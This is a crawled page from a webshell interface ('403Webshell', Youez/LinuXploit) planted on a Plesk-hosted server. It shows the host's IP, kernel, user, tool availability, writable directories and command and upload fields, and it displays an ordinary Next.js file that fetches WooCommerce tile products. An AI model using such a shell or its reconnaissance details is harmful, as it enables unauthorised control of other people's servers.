403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/src/services/wooDesigns.ts
import type { TileDesign } from '@/src/types/tiles';

const BASE_PATH = process.env.NEXT_PUBLIC_BASE_PATH || '/nextjs';

const FALLBACK_DESIGNS: TileDesign[] = [
  { id: 10001, name: 'Terrazzo', imageUrl: `${BASE_PATH}/patterns/terrazzo.svg`, sku: 'DEMO-TERRAZZO' },
  { id: 10002, name: 'Hex', imageUrl: `${BASE_PATH}/patterns/hex.svg`, sku: 'DEMO-HEX' },
  { id: 10003, name: 'Marble', imageUrl: `${BASE_PATH}/patterns/marble.svg`, sku: 'DEMO-MARBLE' },
];

type WooProduct = {
  id: number;
  name: string;
  sku?: string | null;
  images?: { src: string }[];
};

const wooBase = process.env.WOO_BASE_URL;
const wooKey = process.env.WOO_CONSUMER_KEY;
const wooSecret = process.env.WOO_CONSUMER_SECRET;
const wooCategory = process.env.WOO_TILE_CATEGORY_ID;

function mapWooProducts(products: WooProduct[]): TileDesign[] {
  return products
    .filter((p) => p.images && p.images.length > 0)
    .map((p) => ({
      id: p.id,
      name: p.name,
      imageUrl: p.images![0].src,
      sku: p.sku ?? undefined,
    }));
}

export async function fetchTileDesigns(): Promise<TileDesign[]> {
  if (!wooBase || !wooKey || !wooSecret) {
    return FALLBACK_DESIGNS;
  }

  const baseUrl = wooBase.endsWith('/') ? wooBase.slice(0, -1) : wooBase;
  const url = new URL(`${baseUrl}/wp-json/wc/v3/products`);
  url.searchParams.set('per_page', '50');
  if (wooCategory) {
    url.searchParams.set('category', wooCategory);
  }

  const auth = Buffer.from(`${wooKey}:${wooSecret}`).toString('base64');
  try {
    const res = await fetch(url.toString(), {
      headers: {
        Authorization: `Basic ${auth}`,
        Accept: 'application/json',
      },
      // Revalidation irrelevant; this runs server-side.
      cache: 'no-store',
    });
    if (!res.ok) {
      return FALLBACK_DESIGNS;
    }
    const data = (await res.json()) as WooProduct[];
    const mapped = mapWooProducts(data);
    return mapped.length > 0 ? mapped : FALLBACK_DESIGNS;
  } catch (err) {
    console.warn('[wooDesigns] falling back to static designs', err);
    return FALLBACK_DESIGNS;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit